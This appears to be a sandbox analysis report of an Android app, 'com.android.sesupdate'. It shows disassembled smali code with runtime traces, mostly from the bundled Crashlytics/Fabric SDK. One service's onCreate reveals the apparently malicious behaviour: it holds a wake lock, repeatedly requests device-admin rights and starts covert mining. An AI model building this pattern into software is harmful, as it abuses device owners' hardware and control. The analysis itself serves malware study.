                          33invoke-interface {p1}, Ljava/util/Map;->values()Ljava/util/Collection;
                          34move-result-object v4
                          36invoke-interface {v4}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
                          37move-result-object v4
                          38cond_1d:
                          39invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                          40move-result v7
                          41if-eqz v7, :cond_58
                          43invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          44move-result-object v3
                          45check-cast v3, Lio/fabric/sdk/android/Kit;
                          47invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                          • Time: 994607715
                            • This:
                              • com.crashlytics.android.Crashlytics@1cf0272a
                            • Return:
                              • class com.crashlytics.android.Crashlytics
                              • getName: com.crashlytics.android.Crashlytics
                          • Time: 994607722
                            • This:
                              • com.crashlytics.android.core.CrashlyticsCore@3b544bff
                            • Return:
                              • class com.crashlytics.android.core.CrashlyticsCore
                              • getName: com.crashlytics.android.core.CrashlyticsCore
                          • Time: 994607729
                            • This:
                              • com.crashlytics.android.beta.Beta@1a756f59
                            • Return:
                              • class com.crashlytics.android.beta.Beta
                              • getName: com.crashlytics.android.beta.Beta
                          • Time: 994607741
                            • This:
                              • com.crashlytics.android.answers.Answers@917c8a3
                            • Return:
                              • class com.crashlytics.android.answers.Answers
                              • getName: com.crashlytics.android.answers.Answers
                          48move-result-object v7
                          50invoke-virtual {v1, v7}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                          51move-result v7
                          52if-eqz v7, :cond_1d
                          54iget-object v7, p2, Lio/fabric/sdk/android/Kit;->initializationTask:Lio/fabric/sdk/android/InitializationTask;
                          56iget-object v8, v3, Lio/fabric/sdk/android/Kit;->initializationTask:Lio/fabric/sdk/android/InitializationTask;
                          58invoke-virtual {v7, v8}, Lio/fabric/sdk/android/InitializationTask;->addDependency(Lio/fabric/sdk/android/services/concurrency/Task;)V
                          59goto/16 :goto_1d
                          60cond_3b:
                          61invoke-interface {p1, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          62move-result-object v3
                          63check-cast v3, Lio/fabric/sdk/android/Kit;
                          64if-nez v3, :cond_4b
                          65new-instance v4, Lio/fabric/sdk/android/services/concurrency/UnmetDependencyException;
                          67const-string v5, "Referenced Kit was null, does the kit exist?"
                          69invoke-direct {v4, v5}, Lio/fabric/sdk/android/services/concurrency/UnmetDependencyException;-><init>(Ljava/lang/String;)V
                          70throw v4
                          71cond_4b:
                          72iget-object v7, p2, Lio/fabric/sdk/android/Kit;->initializationTask:Lio/fabric/sdk/android/InitializationTask;
                          74invoke-interface {p1, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          75move-result-object v4
                          76check-cast v4, Lio/fabric/sdk/android/Kit;
                          78iget-object v4, v4, Lio/fabric/sdk/android/Kit;->initializationTask:Lio/fabric/sdk/android/InitializationTask;
                          80invoke-virtual {v7, v4}, Lio/fabric/sdk/android/InitializationTask;->addDependency(Lio/fabric/sdk/android/services/concurrency/Task;)V
                          81cond_58: add-int/lit8 v4, v5, 0x1
                          82move v5, v4
                          83goto/16 :goto_b
                          84cond_5c: return-void
                          APIs
                          • android.content.Context.getPackageManager
                          • io.fabric.sdk.android.FabricContext.getPackageName
                          • android.content.pm.PackageManager.getPackageInfo
                          • java.lang.Integer.toString
                          • android.content.pm.PackageManager.getApplicationInfo
                          • java.io.File.<init>
                          • java.io.File.lastModified
                          Strings
                          • com.android.sesupdate
                          • 0.0
                          • Answers
                          • Error retrieving app properties
                          Position Instruction Meta Information
                          0.annotation build Landroid/annotation/SuppressLint;
                          1value = {
                          2"NewApi"
                          3}
                          4.end annotation
                          5.prologue
                          6const/4 v12, 0x0
                          7try_start_1:
                          8invoke-virtual {p0}, Lcom/crashlytics/android/answers/Answers;->getContext()Landroid/content/Context;
                          9move-result-object v2
                          11invoke-virtual {v2}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          12move-result-object v10
                          14invoke-virtual {v2}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                          • Time: 994607582
                            • This:
                              • io.fabric.sdk.android.FabricContext@2edb5c1d
                            • Return:
                              • com.android.sesupdate
                          15move-result-object v11
                          16const/4 v1, 0x0
                          18invoke-virtual {v10, v11, v1}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                          19move-result-object v9
                          20iget v1, v9, Landroid/content/pm/PackageInfo;->versionCode:I
                          22invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                          23move-result-object v4
                          25iget-object v1, v9, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
                          26if-nez v1, :cond_43
                          28const-string v5, "0.0"
                          29goto_1e: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                          30const/16 v3, 0x9
                          31if-lt v1, v3, :cond_46
                          32iget-wide v6, v9, Landroid/content/pm/PackageInfo;->firstInstallTime:J
                          33goto_26:
                          34invoke-virtual {p0}, Lcom/crashlytics/android/answers/Answers;->getIdManager()Lio/fabric/sdk/android/services/common/IdManager;
                          35move-result-object v3
                          36move-object v1, p0
                          38invoke-static/range {v1 .. v7}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->build(Lio/fabric/sdk/android/Kit;Landroid/content/Context;Lio/fabric/sdk/android/services/common/IdManager;Ljava/lang/String;Ljava/lang/String;J)Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          39move-result-object v1
                          40iput-object v1, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          42iget-object v1, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          44invoke-virtual {v1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->enable()V
                          45new-instance v1, Lio/fabric/sdk/android/services/common/FirebaseInfo;
                          47invoke-direct {v1}, Lio/fabric/sdk/android/services/common/FirebaseInfo;-><init>()V
                          49invoke-virtual {v1, v2}, Lio/fabric/sdk/android/services/common/FirebaseInfo;->isFirebaseCrashlyticsEnabled(Landroid/content/Context;)Z
                          50move-result v1
                          51iput-boolean v1, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          52const/4 v1, 0x1
                          53goto_42: return v1
                          54cond_43:
                          55iget-object v5, v9, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
                          56goto/16 :goto_1e
                          57cond_46: const/4 v1, 0x0
                          59invoke-virtual {v10, v11, v1}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                          60move-result-object v0
                          61new-instance v1, Ljava/io/File;
                          63iget-object v3, v0, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
                          65invoke-direct {v1, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                          67invoke-virtual {v1}, Ljava/io/File;->lastModified()J
                          68try_end_55: move-result-wide v6
                          69goto/16 :goto_26
                          70catch_57: move-exception v8
                          72invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          73move-result-object v1
                          75const-string v3, "Answers"
                          77const-string v13, "Error retrieving app properties"
                          79invoke-interface {v1, v3, v13, v8}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          80move v1, v12
                          81goto/16 :goto_42
                          APIs
                          • com.crashlytics.android.core.CrashlyticsController$1.com.crashlytics.android.core.CrashlyticsController$1
                          • java.util.regex.Pattern.compile
                          • java.util.Collections.singletonMap
                          Strings
                          • BeginSession
                          • ([\\d|A-Z|a-z]{12}\\-[\\d|A-Z|a-z]{4}\\-[\\d|A-Z|a-z]{4}\\-[\\d|A-Z|a-z]{12}).+
                          • X-CRASHLYTICS-SEND-FLAGS
                          • 1
                          • SessionUser
                          • SessionApp
                          • SessionOS
                          • SessionDevice
                          Position Instruction Meta Information
                          0.prologue
                          1new-instance v0, Lcom/crashlytics/android/core/CrashlyticsController$1;
                          3const-string v1, "BeginSession"
                          5invoke-direct {v0, v1}, Lcom/crashlytics/android/core/CrashlyticsController$1;-><init>(Ljava/lang/String;)V
                          • Time: 994607948
                            • p0: BeginSession
                            • Return:
                              • com.crashlytics.android.core.CrashlyticsController$1@38499250
                          6sput-object v0, Lcom/crashlytics/android/core/CrashlyticsController;->SESSION_BEGIN_FILE_FILTER:Ljava/io/FilenameFilter;
                          7new-instance v0, Lcom/crashlytics/android/core/CrashlyticsController$2;
                          9invoke-direct {v0}, Lcom/crashlytics/android/core/CrashlyticsController$2;-><init>()V
                          10sput-object v0, Lcom/crashlytics/android/core/CrashlyticsController;->SESSION_FILE_FILTER:Ljava/io/FilenameFilter;
                          11new-instance v0, Lcom/crashlytics/android/core/CrashlyticsController$3;
                          13invoke-direct {v0}, Lcom/crashlytics/android/core/CrashlyticsController$3;-><init>()V
                          14sput-object v0, Lcom/crashlytics/android/core/CrashlyticsController;->SESSION_DIRECTORY_FILTER:Ljava/io/FileFilter;
                          15new-instance v0, Lcom/crashlytics/android/core/CrashlyticsController$4;
                          17invoke-direct {v0}, Lcom/crashlytics/android/core/CrashlyticsController$4;-><init>()V
                          18sput-object v0, Lcom/crashlytics/android/core/CrashlyticsController;->LARGEST_FILE_NAME_FIRST:Ljava/util/Comparator;
                          19new-instance v0, Lcom/crashlytics/android/core/CrashlyticsController$5;
                          21invoke-direct {v0}, Lcom/crashlytics/android/core/CrashlyticsController$5;-><init>()V
                          22sput-object v0, Lcom/crashlytics/android/core/CrashlyticsController;->SMALLEST_FILE_NAME_FIRST:Ljava/util/Comparator;
                          24const-string v0, "([\\d|A-Z|a-z]{12}\\-[\\d|A-Z|a-z]{4}\\-[\\d|A-Z|a-z]{4}\\-[\\d|A-Z|a-z]{12}).+"
                          26invoke-static {v0}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
                          27move-result-object v0
                          28sput-object v0, Lcom/crashlytics/android/core/CrashlyticsController;->SESSION_FILE_PATTERN:Ljava/util/regex/Pattern;
                          30const-string v0, "X-CRASHLYTICS-SEND-FLAGS"
                          32const-string v1, "1"
                          34invoke-static {v0, v1}, Ljava/util/Collections;->singletonMap(Ljava/lang/Object;Ljava/lang/Object;)Ljava/util/Map;
                          35move-result-object v0
                          36sput-object v0, Lcom/crashlytics/android/core/CrashlyticsController;->SEND_AT_CRASHTIME_HEADER:Ljava/util/Map;
                          37const/4 v0, 0x4
                          38new-array v0, v0, [Ljava/lang/String;
                          39const/4 v1, 0x0
                          41const-string v2, "SessionUser"
                          42aput-object v2, v0, v1
                          43const/4 v1, 0x1
                          45const-string v2, "SessionApp"
                          46aput-object v2, v0, v1
                          47const/4 v1, 0x2
                          49const-string v2, "SessionOS"
                          50aput-object v2, v0, v1
                          51const/4 v1, 0x3
                          53const-string v2, "SessionDevice"
                          54aput-object v2, v0, v1
                          55sput-object v0, Lcom/crashlytics/android/core/CrashlyticsController;->INITIAL_SESSION_PART_TAGS:[Ljava/lang/String;
                          56return-void
                          Cross References
                          APIs
                          • java.util.Collection.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          • com.crashlytics.android.Crashlytics.getIdentifier
                          • java.util.Map.containsKey
                          • java.util.Map.put
                          Strings
                          • com.crashlytics.sdk.android.crashlytics-core
                          • com.crashlytics.sdk.android:answers
                          • com.crashlytics.sdk.android:beta
                          • com.crashlytics.sdk.android:crashlytics
                          • binary
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"(",
                          3"Ljava/util/Map",
                          4"<",
                          5"Ljava/lang/String;",
                          6"Lio/fabric/sdk/android/KitInfo;",
                          7">;",
                          8"Ljava/util/Collection",
                          9"<",
                          10"Lio/fabric/sdk/android/Kit;",
                          11">;)",
                          12"Ljava/util/Map",
                          13"<",
                          14"Ljava/lang/String;",
                          15"Lio/fabric/sdk/android/KitInfo;",
                          16">;"
                          17}
                          18.end annotation
                          19.prologue
                          21invoke-interface {p2}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
                          22move-result-object v1
                          23goto_4:
                          24invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                          25move-result v2
                          26if-eqz v2, :cond_31
                          28invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          29move-result-object v0
                          30check-cast v0, Lio/fabric/sdk/android/Kit;
                          32invoke-virtual {v0}, Lio/fabric/sdk/android/Kit;->getIdentifier()Ljava/lang/String;
                          • Time: 994614678
                            • This:
                              • com.crashlytics.android.Crashlytics@1cf0272a
                            • Return:
                              • com.crashlytics.sdk.android:crashlytics
                          • Time: 994614955
                            • This:
                              • com.crashlytics.android.core.CrashlyticsCore@3b544bff
                            • Return:
                              • com.crashlytics.sdk.android.crashlytics-core
                          • Time: 994614990
                            • This:
                              • com.crashlytics.android.beta.Beta@1a756f59
                            • Return:
                              • com.crashlytics.sdk.android:beta
                          • Time: 994615211
                            • This:
                              • com.crashlytics.android.answers.Answers@917c8a3
                            • Return:
                              • com.crashlytics.sdk.android:answers
                          33move-result-object v2
                          35invoke-interface {p1, v2}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                          36move-result v2
                          37if-nez v2, :cond_4
                          39invoke-virtual {v0}, Lio/fabric/sdk/android/Kit;->getIdentifier()Ljava/lang/String;
                          40move-result-object v2
                          41new-instance v3, Lio/fabric/sdk/android/KitInfo;
                          43invoke-virtual {v0}, Lio/fabric/sdk/android/Kit;->getIdentifier()Ljava/lang/String;
                          44move-result-object v4
                          46invoke-virtual {v0}, Lio/fabric/sdk/android/Kit;->getVersion()Ljava/lang/String;
                          47move-result-object v5
                          49const-string v6, "binary"
                          51invoke-direct {v3, v4, v5, v6}, Lio/fabric/sdk/android/KitInfo;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                          53invoke-interface {p1, v2, v3}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                          54goto/16 :goto_4
                          55cond_31: return-object p1
                          Cross References
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • com.crashlytics.android.answers.SessionEvent.Type.name
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • Answers
                          • Logged lifecycle event:
                          • PAUSE
                          • RESUME
                          • START
                          • STOP
                          Position Instruction Meta Information
                          0.param p1, "activity" # Landroid/app/Activity;
                          1.param p2, "type" # Lcom/crashlytics/android/answers/SessionEvent$Type;
                          2.prologue
                          4invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          5move-result-object v0
                          7const-string v1, "Answers"
                          8new-instance v2, Ljava/lang/StringBuilder;
                          10invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                          12const-string v3, "Logged lifecycle event: "
                          14invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          15move-result-object v2
                          17invoke-virtual {p2}, Lcom/crashlytics/android/answers/SessionEvent$Type;->name()Ljava/lang/String;
                          • Time: 994608369
                            • This:
                              • START
                            • Return:
                              • START
                          • Time: 994608397
                            • This:
                              • RESUME
                            • Return:
                              • RESUME
                          • Time: 994608621
                            • This:
                              • PAUSE
                            • Return:
                              • PAUSE
                          • Time: 994609066
                            • This:
                              • STOP
                            • Return:
                              • STOP
                          18move-result-object v3
                          20invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          21move-result-object v2
                          23invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          24move-result-object v2
                          26invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          28iget-object v0, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->eventsHandler:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          30invoke-static {p2, p1}, Lcom/crashlytics/android/answers/SessionEvent;->lifecycleEventBuilder(Lcom/crashlytics/android/answers/SessionEvent$Type;Landroid/app/Activity;)Lcom/crashlytics/android/answers/SessionEvent$Builder;
                          31move-result-object v1
                          33invoke-virtual {v0, v1}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->processEventAsync(Lcom/crashlytics/android/answers/SessionEvent$Builder;)V
                          34return-void
                          Cross References
                          APIs
                          • java.lang.Boolean.valueOf
                          • com.crashlytics.android.answers.Answers.getOverridenSpiEndpoint
                          • java.lang.Boolean.valueOf
                          Strings
                          • Answers
                          • Failed to retrieve settings
                          • Analytics collection enabled
                          • Analytics collection disabled
                          • Error dealing with settings
                          Position Instruction Meta Information
                          0.prologue
                          1const/4 v5, 0x0
                          2try_start_1:
                          3invoke-static {}, Lio/fabric/sdk/android/services/settings/Settings;->getInstance()Lio/fabric/sdk/android/services/settings/Settings;
                          4move-result-object v2
                          6invoke-virtual {v2}, Lio/fabric/sdk/android/services/settings/Settings;->awaitSettingsData()Lio/fabric/sdk/android/services/settings/SettingsData;
                          7move-result-object v1
                          8if-nez v1, :cond_1c
                          10invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          11move-result-object v2
                          13const-string v3, "Answers"
                          15const-string v4, "Failed to retrieve settings"
                          17invoke-interface {v2, v3, v4}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;)V
                          18const/4 v2, 0x0
                          20invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                          21move-result-object v2
                          22goto_1b: return-object v2
                          23cond_1c:
                          24iget-object v2, v1, Lio/fabric/sdk/android/services/settings/SettingsData;->featuresData:Lio/fabric/sdk/android/services/settings/FeaturesSettingsData;
                          25iget-boolean v2, v2, Lio/fabric/sdk/android/services/settings/FeaturesSettingsData;->collectAnalytics:Z
                          26if-eqz v2, :cond_3e
                          28invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          29move-result-object v2
                          31const-string v3, "Answers"
                          33const-string v4, "Analytics collection enabled"
                          35invoke-interface {v2, v3, v4}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          37iget-object v2, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          39iget-object v3, v1, Lio/fabric/sdk/android/services/settings/SettingsData;->analyticsSettingsData:Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;
                          41invoke-virtual {p0}, Lcom/crashlytics/android/answers/Answers;->getOverridenSpiEndpoint()Ljava/lang/String;
                          42move-result-object v4
                          44invoke-virtual {v2, v3, v4}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->setAnalyticsSettingsData(Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;Ljava/lang/String;)V
                          45const/4 v2, 0x1
                          47invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                          48move-result-object v2
                          49goto/16 :goto_1b
                          50cond_3e:
                          51invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          52move-result-object v2
                          54const-string v3, "Answers"
                          56const-string v4, "Analytics collection disabled"
                          58invoke-interface {v2, v3, v4}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          60iget-object v2, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          62invoke-virtual {v2}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->disable()V
                          63const/4 v2, 0x0
                          65invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                          66try_end_52: move-result-object v2
                          67goto/16 :goto_1b
                          68catch_54: move-exception v0
                          70invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          71move-result-object v2
                          73const-string v3, "Answers"
                          75const-string v4, "Error dealing with settings"
                          77invoke-interface {v2, v3, v4, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          79invoke-static {v5}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                          80move-result-object v2
                          81goto/16 :goto_1b
                          Cross References
                          APIs
                          • java.lang.StringBuilder.<init>
                          • io.fabric.sdk.android.services.common.IdManager.getOsDisplayVersionString
                          • java.lang.StringBuilder.append
                          • io.fabric.sdk.android.services.common.IdManager.getOsBuildVersionString
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • 4.2.1
                          • /
                          • 50
                          Position Instruction Meta Information
                          0.prologue
                          1new-instance v0, Ljava/lang/StringBuilder;
                          3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          5invoke-virtual {p0}, Lio/fabric/sdk/android/services/common/IdManager;->getOsDisplayVersionString()Ljava/lang/String;
                          • Time: 994608358
                            • Return:
                              • 4.2.1
                          6move-result-object v1
                          8invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          9move-result-object v0
                          11const-string v1, "/"
                          13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          14move-result-object v0
                          16invoke-virtual {p0}, Lio/fabric/sdk/android/services/common/IdManager;->getOsBuildVersionString()Ljava/lang/String;
                          • Time: 994608412
                            • Return:
                              • 50
                          17move-result-object v1
                          19invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          20move-result-object v0
                          22invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          23move-result-object v0
                          24return-object v0
                          APIs
                          • android.app.Service.onCreate
                          • com.android.sesupdate.services.FirstService.startWakeLock
                          • com.android.sesupdate.services.FirstService.spamDeviceAdmin
                          • android.app.Notification$Builder.<init>
                          • android.app.Notification$Builder.setSmallIcon
                          • android.app.Notification$Builder.getNotification
                          • com.android.sesupdate.services.FirstService.startForeground
                          • android.content.Intent.<init>
                          • com.android.sesupdate.services.FirstService.startService
                          • com.android.sesupdate.services.FirstService.startMining
                          • android.app.Notification$Builder.build
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-super {p0}, Landroid/app/Service;->onCreate()V
                          4invoke-virtual {p0}, Lcom/android/sesupdate/services/FirstService;->startWakeLock()V
                          6invoke-virtual {p0}, Lcom/android/sesupdate/services/FirstService;->spamDeviceAdmin()V
                          7new-instance v2, Landroid/app/Notification$Builder;
                          9invoke-direct {v2, p0}, Landroid/app/Notification$Builder;-><init>(Landroid/content/Context;)V
                          10const/high16 v3, 0x7f020000
                          12invoke-virtual {v2, v3}, Landroid/app/Notification$Builder;->setSmallIcon(I)Landroid/app/Notification$Builder;
                          13move-result-object v0
                          14sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                          15const/16 v3, 0x10
                          16if-ge v2, v3, :cond_31
                          18invoke-virtual {v0}, Landroid/app/Notification$Builder;->getNotification()Landroid/app/Notification;
                          19move-result-object v1
                          20goto_1e: const/16 v2, 0x29a
                          22invoke-virtual {p0, v2, v1}, Lcom/android/sesupdate/services/FirstService;->startForeground(ILandroid/app/Notification;)V
                          23new-instance v2, Landroid/content/Intent;
                          24const-class v3, Lcom/android/sesupdate/services/NotificationService;
                          26invoke-direct {v2, p0, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                          28invoke-virtual {p0, v2}, Lcom/android/sesupdate/services/FirstService;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                          • Time: 994608564
                            • This:
                              • com.android.sesupdate.services.FirstService@1d5c56f6
                            • p0: Intent { cmp=com.android.sesupdate/.services.NotificationService }
                            • Return:
                              • ComponentInfo{com.android.sesupdate/com.android.sesupdate.services.NotificationService}
                          30invoke-virtual {p0}, Lcom/android/sesupdate/services/FirstService;->startMining()V
                          31return-void
                          32cond_31:
                          33invoke-virtual {v0}, Landroid/app/Notification$Builder;->build()Landroid/app/Notification;
                          34move-result-object v1
                          35goto/16 :goto_1e
                          Cross References
                          APIs
                          • io.fabric.sdk.android.services.concurrency.PriorityThreadPoolExecutor.create
                          • android.os.Looper.getMainLooper
                          • android.os.Handler.<init>
                          • com.android.sesupdate.MainApplication.getPackageName
                          • java.util.HashMap.<init>
                          • com.android.sesupdate.MainApplication.getApplicationContext
                          • java.util.Map.values
                          • java.util.Arrays.asList
                          Strings
                          • com.android.sesupdate
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->threadPoolExecutor:Lio/fabric/sdk/android/services/concurrency/PriorityThreadPoolExecutor;
                          3if-nez v0, :cond_a
                          5invoke-static {}, Lio/fabric/sdk/android/services/concurrency/PriorityThreadPoolExecutor;->create()Lio/fabric/sdk/android/services/concurrency/PriorityThreadPoolExecutor;
                          6move-result-object v0
                          7iput-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->threadPoolExecutor:Lio/fabric/sdk/android/services/concurrency/PriorityThreadPoolExecutor;
                          8cond_a:
                          9iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->handler:Landroid/os/Handler;
                          10if-nez v0, :cond_19
                          11new-instance v0, Landroid/os/Handler;
                          13invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
                          14move-result-object v3
                          16invoke-direct {v0, v3}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
                          17iput-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->handler:Landroid/os/Handler;
                          18cond_19:
                          19iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->logger:Lio/fabric/sdk/android/Logger;
                          20if-nez v0, :cond_29
                          21iget-boolean v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->debuggable:Z
                          22if-eqz v0, :cond_6f
                          23new-instance v0, Lio/fabric/sdk/android/DefaultLogger;
                          24const/4 v3, 0x3
                          26invoke-direct {v0, v3}, Lio/fabric/sdk/android/DefaultLogger;-><init>(I)V
                          27iput-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->logger:Lio/fabric/sdk/android/Logger;
                          28cond_29:
                          29iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->appIdentifier:Ljava/lang/String;
                          30if-nez v0, :cond_35
                          32iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->context:Landroid/content/Context;
                          34invoke-virtual {v0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                          • Time: 994607166
                            • This:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                            • Return:
                              • com.android.sesupdate
                          35move-result-object v0
                          36iput-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->appIdentifier:Ljava/lang/String;
                          37cond_35:
                          38iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->initializationCallback:Lio/fabric/sdk/android/InitializationCallback;
                          39if-nez v0, :cond_3d
                          41sget-object v0, Lio/fabric/sdk/android/InitializationCallback;->EMPTY:Lio/fabric/sdk/android/InitializationCallback;
                          42iput-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->initializationCallback:Lio/fabric/sdk/android/InitializationCallback;
                          43cond_3d:
                          44iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->kits:[Lio/fabric/sdk/android/Kit;
                          45if-nez v0, :cond_77
                          46new-instance v2, Ljava/util/HashMap;
                          48invoke-direct {v2}, Ljava/util/HashMap;-><init>()V
                          49goto_46:
                          50iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->context:Landroid/content/Context;
                          52invoke-virtual {v0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                          • Time: 994607187
                            • This:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                            • Return:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                          53move-result-object v1
                          54new-instance v8, Lio/fabric/sdk/android/services/common/IdManager;
                          56iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->appIdentifier:Ljava/lang/String;
                          58iget-object v3, p0, Lio/fabric/sdk/android/Fabric$Builder;->appInstallIdentifier:Ljava/lang/String;
                          60invoke-interface {v2}, Ljava/util/Map;->values()Ljava/util/Collection;
                          61move-result-object v4
                          63invoke-direct {v8, v1, v0, v3, v4}, Lio/fabric/sdk/android/services/common/IdManager;-><init>(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/util/Collection;)V
                          64new-instance v0, Lio/fabric/sdk/android/Fabric;
                          66iget-object v3, p0, Lio/fabric/sdk/android/Fabric$Builder;->threadPoolExecutor:Lio/fabric/sdk/android/services/concurrency/PriorityThreadPoolExecutor;
                          68iget-object v4, p0, Lio/fabric/sdk/android/Fabric$Builder;->handler:Landroid/os/Handler;
                          70iget-object v5, p0, Lio/fabric/sdk/android/Fabric$Builder;->logger:Lio/fabric/sdk/android/Logger;
                          71iget-boolean v6, p0, Lio/fabric/sdk/android/Fabric$Builder;->debuggable:Z
                          73iget-object v7, p0, Lio/fabric/sdk/android/Fabric$Builder;->initializationCallback:Lio/fabric/sdk/android/InitializationCallback;
                          75iget-object v9, p0, Lio/fabric/sdk/android/Fabric$Builder;->context:Landroid/content/Context;
